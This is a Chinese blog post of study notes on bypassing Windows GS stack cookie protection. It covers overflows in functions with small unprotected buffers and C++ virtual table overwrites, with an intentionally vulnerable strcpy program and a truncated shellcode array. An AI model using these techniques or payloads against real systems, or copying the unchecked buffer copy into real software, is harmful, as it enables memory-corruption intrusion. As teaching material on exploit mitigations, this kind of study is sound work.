《0day安全》——栈中的守护天使:GS

GS安全编译选项

在这里插入图片描述

原理

在栈帧中压入一个随机DWORD,IDA称之为“security cookie”,位于EBP之前。系统在.data区块中存放一个security cookie的副本。当栈发生溢出是,security cookie将被覆盖,之后才是EBP和返回地址。函数返回之前比对两者的值,如果改变则说明security cookie已被破坏,发生了溢出。

例外

额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的影响降到最小,编译器在编译程序的时候并不是对所有的函数都应用 GS,以下情况不会应用 GS:
 1.函数不包含缓冲区。
 2.函数被定义为具有变量参数列表。
 3.函数使用无保护的关键字标记。
 4.函数在第一个语句中包含内嵌汇编代码。
 5.缓冲区不是 8 字节类型且大小不大于 4 个字节。

通过添加#pragma strict_gs_check(on) 可以对任意类型的函数添加 Security Coo kie。通过设置该标识,可以对不符合 GS 保护条件的函数 fun添加 GS 保护


利用未被保护的内存突破GS

下边这一段代码,由于函数 vulfuction 中不包含 4 字节以上的缓冲区,所以即便 GS 处于开启状态,这个函数也是不受保护的。

#include "stdafx.h"
#include <string.h>
int vulfuncion(char *str)
{
   
	char array[4];
	strcpy(array, str);
	return 1;
}
int main()
{
   
	char * str = "yeah, the function is without GS";
	vulfuncion(str);	
	return 0;
}
  环境 备注
操作系统 Windows XP SP3  
编译器 VS 2010  
编译选项 默认
build release版本 debug版本也可

编译后IDA查看,函数未进行GS安全检查
在这里插入图片描述
如果arry改成16
在这里插入图片描述
查看反汇编,就会有security cookie
在这里插入图片描述
J__RTC_CheckEsp是检查堆栈平衡的,个_RTC_CheckStackVars就是用来检查局部数据是否访问越界。
如果我们直接运行程序,程序会弹出异常对话框。
在这里插入图片描述
我们使用 VS 调试器进行调试,调试器会报告内存访问冲突
在这里插入图片描述
0x6974636E,就是被ncti覆盖后的逆序 。

在这里插入图片描述


虚函数突破GS


攻击C++虚函数

虚函数入口地址被统一存在虚表中,对象使用虚函数时通过调用虚表指针找到虚表,然后从虚表中取出最终的函数入口地址进行掉用,虚表指针保存在内存空间中,紧接着虚表指针的时其他成员变量,虚函数只有通过对象指针的引用才能显示出其动态调用特性。
在这里插入图片描述

#include "stdafx.h"
#include "windows.h"
#include "iostream.h"
#include<stdio.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\x
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值